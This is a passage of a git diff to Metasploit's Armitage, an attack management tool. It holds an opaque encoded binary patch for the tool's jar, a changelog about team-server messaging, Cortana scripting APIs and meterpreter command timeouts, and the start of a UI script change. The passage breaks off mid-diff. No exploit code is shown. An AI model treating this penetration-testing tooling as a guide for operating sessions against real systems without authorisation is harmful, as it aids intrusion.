zw@shID<{=O@fI&@#US};=E#JDBIPQHpf6nZ;&r5baSd-h1L}>aSZXgzFa@>ICa}|A_R`ahau>V0yys zR?e0YOMGK~HlCJw^8gGc-f??7e}_`1iMqdYl-I-uH*72e@F%lRZC^3RO)fRkOWUAx zeq!vt6G<-HuZ*yqqc~%@<0H{Lti~tDk}~dBKJU-IlhzshZvJ^8iH!Y*Z%#x>%UIvP zKieT<^O)zu({-oSzFY9=w%>3i;nfk-B(^WLp7lY&FtvSWw`BVh^(8X`lIsd?pK9t) z%u?)qbwGIChSz-iex6R8)OIRk!h#KUGYy7YCA?HfiY-sGTIAo>Vcp(dZ@Y6rdD*z& z5I5_fvwL{gr?0RR0ZHB61)sOfi}E}(@rL*MgK}yo7QU@1_Dd7@-a37T6*)z@;iXpm zNrRbNrAtmXBs!PIO*>kW`e~8p*`P*yli2H1k7-Lw?{l1UV&;S+x%i`xrFwEF|Mcd^ zT`!#T$;}6Z+hP-j7aj4v^~K#Z{Qkwp>04*II`E7%SQFk}QFdj|JdyK8luR&~la?<8 zv-VGYl3CF6d9|vS>3kcx&nrI$o2I<{rBhbqvU*xTCg~6luf5ka80K#o ze^GINfq0&Os@<)-$*u>DEkd(q=c#?=_uDJ@xhmjHJXCH|?ugZQ&K$ia&}7wPGq*dd zY|`rZ7bb3|(k9n$?BLH^Shi+_`ksKuC8cgfV&^rE$Qb>dIN7kysMT6`xQwFFzDF-l zdA2RcuZ*Dlk-L>hrMK^`6$v!LY`A27c=Dnn!-wo`H7PKfd^PfKP ztvyEWWV86LwNtOP1YA&bh&SI?>z-5fqF$xq+^e=ZJ^5aGEmZ+KdIA@EJc~Vh&U&jx zXwO46lOO8shIu!`^MXynZq7m_R_pINNgtBWI2jlnCY4cZGekGhDxPzyG#5i(5kHEG`H=TYnysPu$kpKk<{o;T5x!W;?{sf0Ao? z(O~Bu^@Hl0itW=z9=zGAXzX`$p~CB8^J^3RUCvn?4)RRC_k8&3L!0EjpE+<@@Tlwf zUFKi2rdhrVo4&>5^*KmB?izG*W4PYBh3lwOg3ht~MJ9MW6SeQLXg&VidTaEK)rA>% zm0UB^pNqL&$*9{q#jiT^cm35!%W<<^ zV+^Gh%Cv}is6Dd07XG^BKyKe}z4aqw6C+Y@9U?+2ZGF;Li49w)&_BsD=kpuey!xjN zFK!VV#BNoY+19C;y^Q^_-*sEQ-kT@QIro*zEv-s4&-$h<%9mbnA+yz!G&t*bEo>Qi z`sps)Rd2o?ZWEumLFLfyVt2Cx`)}Iaz4xYnd8Jg&)e*^(Y0)OGB6mGrY_4B?=}@Vl zp>$vB!k?y|#RsYm3kLgZzYB1>>iQ-)wfW2B9`6Wo?^mLxl#{F!sSS!|(-Z?@x-5$lsOR;aqZ z?Xt`04*Xe>>b%5s!{ww&A4cw3JSO&cCA=*4NO>NbV81SG#%Y^H_X_W-nU8#RtHt1F zLs$9*6}i_U9|V1!GSw0eZCRybm#DM<%dF2)>#uEDY4yz73E&FgIa15_WufjCzlO|6u`P+Oy{>ATD z+tiaX{3ljhh2>ZepD=EXK-k@vJ&zp>Dm|QolM?)D_x$Ny?7wEe%i)$!Q=-mCk8Vm> zsr7eD*3Xd0mfP=Y<&A!EpZdD+Xft`5S%HV71oA4gcJH~B)MVH0S8OL6*{dl#$iw`+ zJ^1yi?iA97_aj~y?;+PS7ivdv|KZvI>NtdGPAaLxd>LzFDw)j))g3_EaWARQAgO#r zoA#2r401n+==xq#^IsZI8o8W7wP~2PJB=JUfDSMhA?c(CbHNnXl#a#GHZgh?fTPzA z$Z`LK_5(+#3dphlX!U&@T9Pq*A8Ep*X=h`(NB5D&3~Ja%It^T?f@KD2$RJ7D@KqV4 zHiH-!&t-62WYT)+H2OYhUor&Qh`;YL2DJrBI6mmn2blW$T|N!&^kaa{+E__ zfD%TRcsu3-tHzeOz@Vu@-a%6DA9_20FmlcejbT!S6^A&{VbFyEgcW7a2w`L= z3|wF%$R@)Xv^*E{O68D7|I%jWaKg`ca3JTOm8#H|L+bNkl{f&!WzrZ&MRGZgTIO=BM)Srq>5QHCbJ0$^ z8h+=J*31P~uqt>SC6yQ?)}!QThGCk+h&)bHL0T17=8?0QG{&6wc^q>PIWRO< z|EPa?^YTe;)?ud2yvoN$LN|FvmDVv*gF)ktk)wvRf%Idf+&}}dWG*_6kraJ#LGC!Y zm+klkC$MqT&h(rhr!W_G1=zc2CVAkZec)pFNlwz{fs3Y-q!%M>QpmZ88MwGVaA9zY zlPh}Q;?}^0S`q2bWM5ZAPGv4`7m+T^g;Fu;$y_WcCMPo&=ZmohX~X^wFfOM_cZS)2 z8n-Cvq*tdodaTcI+=(B!xPuqW?x|Pmu<&5~;j8Bwpm&zE)5LsEo82DX@W5ko&iKts zb^O-lz`xvhJBU3?nlZ{xoh4O?n>!%xEUA<_b*DJ=oF$p}WW!%NLyTP zTC`&FkI%UW_>S$3`oo5)4rs;C-1uj^XmLf@Q9?4W(}tW9RML4EE|rkOnY?C6O=^d6 z`?eho!|a3qa^vgsLFyc7#YpWr%;WL~r2=uIj9cp5aau|XHk~7783!`XVF}L)7&bNR zq#(4O<2dkvPI+8Nr)WakfJOG_NmZW7FzYBwrw>5L>HL<2#g7C2LgR&;v>= z{W8f1YNezKQC-6%c+?I_SVt$++@cepxRi7va_Sf%&)edlQbtn5xCczyxK8RoL<%~$y^3@u z`nC@;3Ltca96_Ak$ufag$f?A$-Gj;I@aGEJOY9kBRN>Sf9syW(73qnG2WbW9I?N*i zEj0Z&ZwNj18mhNG#xih?oIn_s(7*vyuan~l;yeqA&hse4lNaddjq9We&u(bHPKFZ= zb>MY_Tuv0UV2Mi$XFgi(9OBLo|& z(Y%=*gS0Yypc&rRG$Rk@HKYSE@&gMbKcSvGA9y5S%1<=wYz>wX(={aRM-4fec-%dN z3IB){j3JPMHMJ<6)H9f-46SvfR9X`;v<{<&LC!5wF|Ch~XOhA67Ul{SU|8r8AQV}8 z3(`CVkbR5vCVncjsj(`A3~1a&<1eYO%mh_J6XIxQw>rxxXb`fjhS#@IaSO%L%5~U7 z%WYT?Sx1f~zKmr-T^%`wP@PNzc{ntgFoL!6oW37Dg&5i&6k+)taz0NV{b2#%LP&tr zT`c;I%V1_%h;b#vVaW%M24goa=WARCCB@*kb`T5j7tO?>oK9Z7fMo<5ux?8hvtUsJ zHodw~7Wgf}KtC0t#Gp!q;)72O7^`PX*|e}_7(&PUsHZ55WgNl@Imo7&D-kT?xtuG% z>;uf-vw}_Ycz~sLMzWyj0qID5Uqu5?qAZ2}Q~-xPgecU+Vd)W#qy{0sm!&iJ5++dJ zh{aq>8)QU5{UHWq&pw)wgP?~v3)jvdASHvKpza~glq(J~NE2MM2{D>tMoSIiX+C&1 zk*>tiWALeoRELXAq&3fc=xHKn5))2?fTYP zu1X9!%L;TO%?fNi&m~}Ro)suKk5LPIL~D4A;n`lr(z~x>)0cjNMTuS=WOQLkDGCZ+ z=W20zaQX=v>w9ldjvw@zariWCWSQbdtSZLH>PK8Q1V3U0Iv)`V@U$62`k;+vG+Ia} zo~1Ca1v{4M3yzu>*ssIX7V&K_IdJ(2y=u}0x*h<bL_nbd`t>!N3*53hmnz_lcp zw`0qy6N9!@qTs`;+K0>ch+G|yC+*FnxE`t@i|A9m~WN~XUf+4(`R zA(t)uhJ!MKkZs5-03OdVtY3!HGzC-Zcm=`Z1GZ46+g*K*?ILRgnBM(h6P?5POY=2Som3=fB3mX5H$4L={b} zTsJ_-K=(_G{>4nLh|J0yNau&nOkR0bXx|$wGWjTz1gd#RV^pNz2TiBv57Od59m5#L zM&nT7`4)!?*J3s;`7I9N>&~;F{UWa@^u9%7VoQfGGu|QNeQ}VHhSGQF5>d@EyQ+ER zSYr&{W2wcrSvv4N4wDz}3<620e~)3j^@L@#I*xhgS#^ z2|i}7CkA7?F&M*mnY7eGenD8N@Pr0FGAtPW3Bhk!79`PNqyi1};ROxu zsjy(oX9PX!EJ&rnB~2D|(qO4J1JZT)1i|GCT4Srrrry;>MzImw#+ffzOO<*o{pAa0 z+G@xG*RKfX7_;EWR~$biN3%fa8&+oG7#iq7_&1W`@rCSfbwTAjW<9o% z1rapJ+{^;AEqpRyHeIQ7#fiC3#SaL&T@$vvl4!NSpM2`TuI_^ zs1F-|TIqjSvobzeHkVO9<~n%sKj};R(Z<&m|5&J}nYEYyF=(|IIR3`4e!0QL^246r zSf=*9e=Ky;%$K3ehI&3J5H7}1G4K!ei}wvfq%lnht`Fyoqh){4!kXqG={wNN?_<;bH5I3x7rmEhxt`0@O55F^BoLFdEnUBN?{@Y)CrgQc~R<~ z42LS_rN;1{ko$*(L6nc8cqI)v)HFWInpet}LCR2)HxOz*v>|FNhyKV%jpS8#Vvr`B zbmCWp0Dde+dOSnvLotmcCoxD4KJlZ@cau5DUVw7s?RMp$y#mw-UOfED#wgI8UliU8 zVCHw89BP>tza-cSB9%0QLrKm=Dv_q-W^<@h0sI1Ra5nz0hMsyQ1@KFW|9ki~3HT=_ z!45#tLHyj0177%saNh1blrrzbMgJu1c(s;rP=qiw zikDpW5AlP-0ZN8>(uXI)7(9z3{9yT#UlxQ#C~Kns2snyRF2tdu^rsRS^xF{tB z*F`85o;mPLg!1LRaFWTR0G^_h4R2Ht2lW;4OF)q*`oH=KL#e_KQLNY8rwlR#e=$0! z&p7C!7}|E_1%oK47Q;eDh+`qU!9yGiG5W^Qp(#P}!!2yp@b0{2A)ck7jX%v?sTRS zf|6weAKK5ANf>AFv;g#TRgb+g7O(J|PSb$Z%IN9UKddd6lqm<|!7%Vrp%mbiP`izh%NOsBKO5$Ez z>f~OfCE%qRWyT0)e+hK5!R55M^23J7acS}ZQk~Le7EOJxS^lo&EUn@<3kLt?#+O;b z3Ux}KS>DW4r&NgxR&YU`GGK^yns{OjzmZ_{Y?-gU{yFN=M~jpOwa{k&90lVwIN6qJ zP^!Grwt^6Eivbw@iDVZ>SB@iV#-claFtZ9*W@osoK^Zee{-X0%I0%B-SV3j{ayJhl z$2)jp5F9lrRUS9+*Q5-!>E&j*@8TZCXiqV!<+jJ%Sr865WAT-m6uW3$N9UD=x0sg+ zT+2Ggpp%#{9M{0P^QM7?7G=nML8tY=kr7oOsZYuCtcFNr86yvBp^?ix@Rsc%s02?O zI4i%;i1r>#x1Yx{WHo|Bp&<$VMT?r&>Cb zH@q6a61u26Fh~&UgHZQ&M~;s|MdvoXLtTr|M{e`xL%1$w!1xehA3CcZzr?Zv?{vCc zH66D|5PB8~>d|*)wp!lN<)nn658;BkV4}yNN9$3lVr~(F!-B%YR)#NKNP<=Ysmxfq z9+QaXM99#ij2QnE5|&NdgEpo9kAJz)uE+6DSRZpO!L?XD?1x=D1qH!TpHr3xCh;tW zCHkCr9qeuFuls-F)ILAbmZqaS;{C2P4Xk!KTJo`nP8=*_hMIq=K}1lQEV}s9J}sDfmFL zF=feApoC0p*JteIE3jbhF-#xYj4544C?Kd{Io*n_(R*&8DWGLS>6+66f=y4~<1*o4 z!yIuBivFqBfq%L26Ti}JX+`9`uzBRvc_AR(Ps%clHKDazIRSOP!3N8%m;56LhyDo4 zLzxLB#>noTbo_fzq*?hUM>l&&kK^2-@WlGC1vRd$0&ypQt zLk(8m%0iiY`1c=K&@`jiT`W&CEa$y4=2aF_hOK6lB2#raG##tT&`R*gjAFOxKG1Zk z7E_WesGC!=Ol{~&&fDvQwJ{Ux)sV|78}KlvMl#Jly7WTL39O9@* z)q*l(LRZ)8boM#w+l2ZwxXRae5P~!ZAx)^o=``cel@>A8T~fn_&BuD>mK_foBxTMN z=uToVBxVXh%uFG5P&>e>$1>i_=I(G<#nT3}K!I~v#yGbs`cB8AryNTE=FQcEz zTz;N_28v?0@B1+?VHgSXEOD|!T2eBM+v3F??_OY53vAKc4b%?;Eh!U5Xr<}+31`r^ z8thWsLaX683Nap7UZ1e~5*Dt5t%Bk*V*YmU8cylJukAuo^hOjL@VBnh1G7=q0{fl; zmwXs_4yUY{8vOfd)hK$%Gr{QUatTe_Aq2HMg!EwDK>v9%935;+hVR2EW5(=`OX7YV zn0YeBmAgvgz`=@BrD0Z>>p(h;wZexT!;zE>Q*J}2it|q_^BsE4J@ryLDg?WZ3TZ$< zC@1=F-Q_>Zq3m=V+_{T!1I-bfVmwA*F*xVe8i6xPvmzl8*gb-i|J2Jri$u}PPZ$X9 z4dVnTA3>Qi(QRG1()%_Fe8IZn?i#mCK){+)$ClPu%H2|Eu))4kRffaSTq{lkbLa8A znvUV_$C9kLB6+cFP+kHqUKEmntWlgy0)JZz6>*`x0$UY#9p#h{W)g?&3hc$^BRMVH zZX_DfU(Ke6jilIPJ1I0V*`T42*BfKaWz)N0WN+&y35oUr$;2);6^2Pb>EQ zL4V>F$n((iBs~nu7_Lm6t%I427+09CTQCaCZ-2%~8pW9yH$O=2&&Awr_{Z(wm-n=& z7C72aa*UOqyYqxovB0+&K$5G#mQGgm@dqL4f3eflOYBXj^kx0eA?a&>2}wZMz$uK~r>2VB zM`dnkE_Yoo=^K(Mq+dwx-_Z@*@g9y5IQp!|=MjA_OOpEsGqE$UP+Kg2oDj6yVy`}K zOR?u}s%SP>gl0!D5fi*@V(yF462s2H9f4vcupGmQKtrgT-3FA{g58Jvp5=na&&J?W z^uaNd45M)On`gEkQDG@|Xj3i|`Lv*Z3^kgmX)!yr!%mkb)R-R4u(N4a+6*M^v7hg< zqvV)b+*7-~-jg8Ej*=(REZ8(H3h&JHoSrF?Kfqzf0_<}KaeUL~OcUihHbbzoT)Q{(w_l&0fONF7nOjz^ZxMMm2 z=@DfNtprsUg~gdMhcRmdohDn(Njp?QdyC_d5IrlOUv_mbv`?TEc&#cJ0Y#8<=G;SikoM+SL#&;jmul=CM5beRJ&{Oyle95@cOJN=858-tF%2iH(I&oN< zj<1sAwvEDLEfXm{W7@mSTl;)Yp(Z2rf_wJo@sX(%a#}H0!+Rif5@pP^TJ;-koA;v93;4(VRC4r}FjV~(mWO7XKrkAYHb`Ig#KNinY2i5B zf1AXa8)!|&NPOuB`^mUOl}f;d$<#vL<+$Z=ieE$@M5f?c`&Ka)rEX9Xgu9X=0uVk0 zSFf~WVE+`#o%kUOol~f3#CvT>alx@wOJ76;`do3XGRg&)*dFW9v^#M_7dl+1DMYL( z{izJjuGC1Plwv`rm52hIbVaSZEm`J;8{XtZ@qfh1;Vk3mM&XXC6|GGkw!2aG1fMkv zET&QdfEh**z5f^+qH`oHo=Qz1tR};$snkSb*cAFx0XMHj1nC7hF({sf%a|cvB2w5J z*nhe4bKFJX^b8SMNb(Yqge*4{YoCo`rPH{?PI_>}nx~0KK(RXx`RUUbN)!5N6g8bA zVCO+i=9Tl|piB>HIIrOX4ia?1+YY1tj|Z-~tFI7&hIJxJ;29-?+pM0b#&;!$N?Ii% z3cG0PU?hjiUW?Q-Ph4vM8a0%%_rf*tWvl;DYEa;X8P7*ElmYyq(dRWBf$`H&gT*=y zN=HO2T@Urss34wrxHpY5hB@B2I$OAr<_w{G3$_4yzRnu{*c(O~L0dIlO2kvo`%TZVMzI+||GXX)QFs4>L*<1Fx)NsT9V zoMJ)wX%X=uHr|5%@y#Rjg3J0hKM3O^FyPS`eL>XH&{B`7wu@dH3$TN7k|;5IB}O{o;IM? z@LAYz^zYM*D$IU}O_$O0WEScve#p{Nv$1>cdO`zlUf))Z1r@U?CqnmSx*s)@@Oy_J zN)X|PRB89XH9vg(gzXy@n(%J<%*l5Cn}|F!9J0ZkYJ?l{t#ZE15$!WLMw7?fV zZUJ%748&n%p2ZOQgr%r1tMfu2W|=~9r{P(Zd1$`O@IiVqv11GiF3rP!6YIo+VrNlK z4cpE~Jx!AaX+98j6_tS4`B;yKTv@u_T~wN_#}~A8oHt7=1fjP_XR;ui27R+=u!0yp zhyEN6J_~SUTpmaROQ;CKc18tbJh~R3mf|3m?hD2+G4$MpNPh@s>5~gFt4Sye)Pk|a zge+shP8xg)XThIfEY<7>ff(XgJY1na zM<&3y5NahcVHc}%*Pa1`#6r=a&3kB?g1c#=0uZ+p%@3pLh%A~`gq%=pK{s<)&>xCM z?>fqYs$-&ZY}8avav30T96l|f^uX;Twk~E+Z&*TU5Tz$*dLGeLM1L9#7HC2!UZojL z@VtRF6S`nvM0>Xs+d6Sa6g(cF#j4Bj_Bf)RK};JFgWYTKUJ<_xt)2e>#)hG_CCl)> z75I<^f0tn(=eE#b67SbuQIPBx)d6xl>W?VEoaJGtfA23*DEcj`2mN8#A~y6vY&eds z_Td=z`TaDQ&KvVvG%Z6+8^7m)!4ZtWOniTFpNc?Ash{2erj^Y=o=_eJ%Oh}~?1B*e zsRC^gxB>c6m<3kLDJ!B)1gKym98SidLLXy8p;Q)kKc z71U@RD~MQu?gi5N@yAsQc)}`eXAaN!3j2GrCXkLjMW~+vSbR^|Q;NAu! z5fzC&#MG7re)eL*FslqbdLD^d&f2rITompqT8w2ufRmUMtc$|9*o+%waM^5vm;k*W z&9R~-3iC%!V+F)lVGA*x&H_IlF);{Rh53KaW|`tu*qY4ez_`^od`hmyfk!)l2HwQg zKt>`x8mAY%L74B-YRtEF-T-S)e4fwhco%|JEsVy=Mp^J6qX5nL@W6&;c9_`E{@}iZ zm5K=ylK{gtsCDHsmI+yd0ht`dg32`*vZd=-kQF1Q1s|7Vbk-$cX)bFi5h8pOoL-0f zm-#ePyBX8=u0_v_x3ToywbUpgCYc5L>u_XCO=ZFDbaZFicFd5r4l_*2plNU7_dzyU zZ#`xV%4Na2^_Wrm1e{(^O(!agSW-Jn6R|QM(o%4T>?ht$wt(-b0glQ2y&2_Pu#%c z;Is-%mWL&qu%XG~k!+edzX>~;(^M9SZl=Z&@zYqaXfyW7wCOCU+>Bw~a}w9gp60w27yV6IB7jM9P7; zxSIy5@cNUu+>lWxKM}Lle8a8zWUMf)ofwV}iCEs(pZ_R%Xivh2_J|}5?*U%$OvX6@ zN;33R!c>Ht!P7M2c#Z^3l!BNY=+H*FK>;0T+<~EW!Ff7I$uwe=!61-^13Pi3?lqzr zLl|u)p}{&gA{q6_nbPzkqR5>7G=-?`lr9MF!jw3Q&ET>Nb5FH`_FcG+c4`;4lUrkG zFoO^u3zjLAI!xbQ{H>gz>5&{WhET^Bt)Pf1-nN2T$Z^r zUqTfA(u{gA%S_&bJ^mQ}8qXfehd3BPf8q>v4?WjhLjydwkctv(V&KzWypIO%#d%vr zyo3<^(i<4#%2LsZ$k-tQe^PNU3&$UC<7BZW+%srk1iP~^xPEyU+}j5vhBm9qnY6$n zV&p;k(+m>Q(0@rhL{F=jT7ZtY9>QGT)3B^31uU&tBq75rM{sUI>6q4hl1jlH4hNLk)Wp&&00SOv2Pyj~3#b|^sZ5{wl>*UyDD&Nsr5z?n;(@2G0bir& zv@1?@+F~9)*iGkrpNk=L$iM{Q3_1ZTI7?E3-j9)jqYRx7S2CywqWKj4X#qNCB(>P0 zl1e3q1|jwwE6|dOeSGOf8lbZM7zt4^u*||HZYL?F07d(;0%NsUrdU@>7Ji+_vgEVS z1WR3-_9683=uZPE&cd5$nE`yt!ge&uo+gzb@Br42&kUG%5SO$s9l#-M`%D&S9K>Ey z;X{K!q8r;$7Pf#x0aB7+<}W3})*R0vEGNQmFin}R8WSQoV33i5tV1|5|K7Toc z5jlqL`n?{)gwRaH+d)POiaMnPIMsa&9f|)un1-_nx)n@3j&$nRL0S-Ej^lz;@ON$o zl^nj`>1kfDJQ1QcMmYgVDbTw;YT zd@8`{>l-8b6CX8CQgUEoCanN5C$X9&O$X@-M65XrPEpd#t;&RVE;cmF3Tb_aE5t=0 zvBezZwnSQp+46<%LR`(|-N@lboIsnM2PhymjWjJZ zr)SYX!kGo`lkqgbpCYtvl`G457Gv_#`7AiOP(~Ea6=QPEE}HQr60_Nqd8biq!Ce-V z)8J7b3*^t>>DcY+vaBn$TC#YA{|suFG#194#S!rG8N45Tabtn_Ssll z_mPzXk+y-cwB{_<-@5s1TERkDao7e}t%@Z`-(1YnQ%dmWqY%b|eI;0P7b95kex>2Sausx4+ zuGme`a2^NR;sjYm@TX6AGr7*4$6TM1=rnIaXcwEo?gHkPI|Y`dIHvBpfbApY%peef zzZb9tt-D4u(}+{o=}#SaUyXj^Ix2n{rxYJVuU4}edP`B&)mj?JK~J5m4E;Q0LL}d1 znTiHkeReK!w+szYz)npI{wbp@nKj>Rv%Y+JT=S*hi_N`0tl9`37bzV^D%dS>SZ^ZF zuo65T#k~nI{~@GY79Ylc#%DsmtKy`$Kw}+dO7E$-V~Z} zZ-U@*&e@=3nwazi3d%Wq8h2=7&L?kf^{tf=3?};nQbDMYI1L?sFQkRdSpl zx|4!`cwl7kUv9k8R0yx2v>BK7C?{r2!L&I1<31?iiKnwFI0q%3U`fP1clchx*(p%3 z#G)Za15U?l$b)AkXGdW!(nMDQtgqzQe2^xNzlHKjj?K?#;%_SSS8}!(v@g+4IN|u< ztc$B~mj?DGkS2=8L&7D_*2+nmsG9(_mncKV@@liU<0gvo4AWQqZ)M0#1gXoM%BbBb z!t~?``nEf=b&D!JRAg0DOf~)S~lFO_{vpBJQp{!)oL{H(_?17Byp} zgk8=bzlyCAX8yNv>YSmaR49v;OaI%H91d8??~)ic?7Yc;o09rnWAM6fEcZVfkkZ%C z#@44`agDQcvv-azs6}BDKs-f&;(Aan*49`y&C>*H~q6il6Yi^XkHMB2 z%t>!uRcJ%Rbtm*G~Fp)Ut(PQ7iu+vyOdtIa`d`6wxK_U9#NiCg~w2xE^qW(@ARSlD92{ z*Ecvp7QTr@UIZB2^MK>u;W+O~6X_!$J2CUQKzuINDnn3t|RDbCvNBtc- zvmn6xn;iAx)kx@Pfk`!|S9l=7n{>Ms-ZNQ;(Mcif0e;~#^H|G)&|PP&)oPU@4>8=Q|WHC znC&?agw*1Vu>|*bTX7OIR|6k@Z`a~&W~m6vh~2_uADmCn$qR1bb3vsH3(9Wc6T@f) zj@WIy50@*k!0$HRxkjt9pnwLY>MZEHjq~2eS}bs@!y9?9J_|Bwu+)SFZ|iWYBh-uq zPIpkXsRavC?x2_%ZVb}qJfl;VSh2w3E~bnb$pX!Lln`{gm!$JJZJ7}DhT2AD6@YOOBdH;R0^jsAiV+IXu>%e?UM%$-cM!0!3LD#@nS(Y4V0&| zz~Melrq(WF!Pfie`nI(!Xn%mNx8BDUCzo}Dj3kVBfHGg#4`EKFm`c#!QNb@C#17IE ziH5jAAPH`bm@8!CAR`1l2Tb`PzY&)ff;az{{?mxlJz0F?1?>o92P1uZzo{^6dxP^P zCYU!4a0SyI--j_&UIr>2qD?=NhS1rEF~-H&7{q;-2h>Cz=2Fvz2e${+pu8l6HlZ42 ze4WN1E%gXjZ_Ao6z}5IpjiIzHA(l3T2|SJEg+D?kf8v*82L&0r`Vl&LHj|qcg0LcV z()=+NS(wG0CJkF@I^xg}y8bcFE5GLqVVFpfPq0=4a);1yPp|@}<2yYDjZm+|Fi4bR z8-Du))rR8RJ%*-9L-Zq@F}q&oiq5qYL!^?LaS>dna0v6J8T<9Sq9IJyb&Q~p7|uzV zIy+a*rOy29pr{}`tHxl>YQ#c+HgHKTucW0k;X?~H#!;78;P4cSnpnkx15dFou3u-t znkS}mAkvCHEvaT1t*7W^Ak7rkvP?lMK5p{ep@BDX=N?PWXrouX9AEP2`SHT?Zf3AOaA?hbtlzMmyGWpp-tA}F_VB0nsNKcG9~R; z5w)LK5F=nF%EsBS1LxkEUs&2h$V>soe8xy@qv_4xXj%iTKjUM?V`O;KrOm+Hz)X)7 zGJcMfoVppfkHCEX&+%(;7c?292bZ2>*@`;g@Pg8YyCcombB%0e1dlQsIvTYxQvSpX zJzClbuD`%=bQ-YW_!u+%ivCMfw!oNGw&5iX+lx$Dpy6mH37vGZqXo;@yuwyLilTuQ z?0kifE6Ya0=u%Ht?f4r0i z8c^1Wiw@G^W)QL2OcO*u;P+;qu*i&lRf`Gl`sGZT2E2*D;|fgAtNVa0$$bsH{eVx+ z)H)d5MY;1%jx~d4sb)I#Dx?%tbfE{m@n(4B!c2>$gu9VyNHl}Rhs^X@%8#a~WHS)W z!;qwR;|h9Y3WM}m0nv|GQWikWM|{?G_=w%q?l=wH2!Rt&_mOht^(irf?iw>?m{Kw@ z3Xku>Ob;tyZV!I3a$6PsiN^(d@b-P}8Vg2$!U=>-4GmOaM-O&|lb_I%pn5a-^%7n9 zD1#C2qp3#^%^>VORt|O{+zfbY1{;2(Kq8H(PiAo8Gv&nV|HTYaWX$D2>I;66ci;Da zNC1MqU_=-EVkjjj`hwB^^_xL@^!sQyV_B)Z`Oxk|@j%BH+<18=Z;so+{Af(*SM zT}I}@VDTNB=}twK3IC2`&?6Q2^d0q=)1X6>2D6AA+VrOyIE*wGfUqB!M+s*{wDO`K zxQum^90X#Z)r)=87w0>iWPB}DFPeB@%n-)i6U%PxMLpxkvb4rewA|i_1(iQ3VTk&P zqcacAR%kuQj3WXj3<4og|AoaU;zWf`Uhs<=$!NL8K2`?Yu@PT9zu>Xqz z?peVQ@E2DSyH+vRKmX!FV*gtDI?dm5JTWN-FTIH8Tj*lsVQ1!mX+}JjDn!UumY&69 zIfl?pWWn8o<_55j?k*j)Oij`tEe8gKB}M3_aG0YQz}}v<|YM_6*ht zP9O1W-+X8d-yxPRJd5=0TS!auBVEg(9r-P7i1ch$X6!k(tC$#|^V$K`SA|CMz$Kv7juIQF6Z z|HHBi?7BY?f^r|%l!6ooH4%)#8l_37F&)N46mTTNpJE+j@(;}%jz*N3MUENiOofi7 z(Wp6Q$&A@dLTYM;IwYB-V$^ro=foc4?^h`hk*byaz z5S|ceRa)m<^RNduY|dH0=&px39{9DftIpss_afR8jvK+}73vS?xu$JPC^rJ{)k|q( z1TQkpS}xu#4Uy2y^*W<{Z?gm{jD#*-9!9kdxWXNnsx+^{_ob~YRV-hrrh|19AH@qz zd<~UH!KG){QEL>RqTJrh$g_(@kvW=YC|4WgRh-;0DMJ@)3bxd)!Y}h?yo{L*v$rt1 z^C>J5X|NKT$mWzqA`RdiVz9w|Ye-SY}-c;2@EC#9~Zb8K$C`&(L z6tSPh(#9Aa_rAbg+(|dg+)6*ia4k*ax}e_KrBPjGotkL|^@rUWwE|QbYsf9Mda4nQ zU5uT@MhmD#gC6igi(0}bj6p;z1L;!6jH$dm0y;u!YLA7c`wlUhcACZ0TAObD(+4Zk zvSEEH!hy!bgN8PVjixQJTuVIoOo#|RrjyTuEFD;|^GwJxsQD|z7)3;%(6NWkF+Wl* zx_7cIkaO&${#m6(m(#l9p8Z3_Rq`Bz3vmKCIi!o?~_4eZK@WR?Yi5T$(V0RvZ`SdYVOVFhaK8k(7sLTC~`TnAqtpLJrWBAZ!bW97pV2rAFgwSCxD&yU{@_HcJ;U^>N%P>-GdYdUW2wxIOlWkmk ztWgF+P=Q(3b`id6w5m}|7}vd_?TPQu>@^5A#)LN`T8fUHSW#Ist)jBJl6*c_wR>*m z`n`{>1^xt-F!Iz}X^5R`i4LiD7(O*YC7y}$r^R-CP?v#h`qxhFb{;FvNsW@jGGo~V zKXEWB5>E$3>3y97s?8$(f;ZT$@s1j%^ERd?^oWuVPd>yOouom-C#ZgO+@dEVG&S7n z*#!0bpuX{m0CvbowT?ox?4^!jXz*T&pqj~?@xH^;o2gPqkvd!y zXwybcu@ip1nx)dI=TNA#-l_Yw31rg?<7mH=Yqf#91!2;73UcWklI{ZGcrF#V^ifeI z2ur6>kBi4qO(`lvipgH~$JeDVZ~qo?<{1d&8%^ApC-5UBN*)diPnN;+#?iQ;kjA<7 zkv+tCXy|?Oc6g3FL$z+6BxT975Jit*hB3-=%%CHXC9~nQQ__0eJjPV?JozVbEk|+S zoUXx7Q{swgW}3ZlRQdo>L^4NJQHP)dl`28g7B<=|9^zHP$f~TELi&ZrH EKYuRMApigX diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index 55804871ff..a7249cd52b 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -1,6 +1,30 @@ Armitage Changelog ================== +6 Mar 13 (tested against msf ca43900a7) +-------- +- Active console now gets higher priority when polling msf for output +- Improved team server responsiveness in high latency situations by + creating additional connections to server to balance messages over +- Preferences are now shared among each Armitage connection. + +Cortana Updates (for scripters) +-------- +- Added a &publish, &query, &subscribe API to allow inter-script + communication across the team server. +- Added &table_update to set the contents of a table tab without + disturbing the highlighted rows. +- Added an exec_error event. Fired when &m_exec or &m_exec_local fail + due to an error reported by meterpreter. +- Fixed a bug that sometimes caused session_sync to fire twice (boo!) +- Added a 60s timeout to &s_cmd commands. Cortana will give a shell + command 60s to execute. If it doesn't finish in that time, Cortana + will release the lock on the shell so the user can control it. + (ideally, this shouldn't happen... this is a safety mechanism) +- Changed Meterpreter command timeout to 2m from 12s. This is because + https meterpreter might not checkin for up to 60s, if it's been + idle for a long time. This will make &m_cmd less likely to timeout + 12 Feb 13 (tested against msf 16438) --------- - Fixed a corner case preventing the display of removed host labels diff --git a/external/source/armitage/resources/about.html b/external/source/armitage/resources/about.html index 1167b175f4..4c44f1ed61 100644 --- a/external/source/armitage/resources/about.html +++ b/external/source/armitage/resources/about.html @@ -3,7 +3,7 @@

Armitage 1.45

An attack management tool for Metasploit® -
Release: 12 Feb 13

+
Release: 6 Mar 13


Developed by:

diff --git a/external/source/armitage/scripts-cortana/internal-ui.sl b/external/source/armitage/scripts-cortana/internal-ui.sl index 498646fe41..ae479f22f1 100644 --- a/external/source/armitage/scripts-cortana/internal-ui.sl +++ b/external/source/armitage/scripts-cortana/internal-ui.sl @@ -188,13 +188,24 @@ sub table_selected_single { # table_set($table, @rows) sub table_set { - local('$model $row'); - $model = [$1 getModel]; - [$model clear: size($2) * 2]; - foreach $row ($2) { - [$model addEntry: $row]; - } - [$model fireListeners]; + later(lambda({ + local('$model $row'); + $model = [$a getModel]; + [$model clear: size($b) * 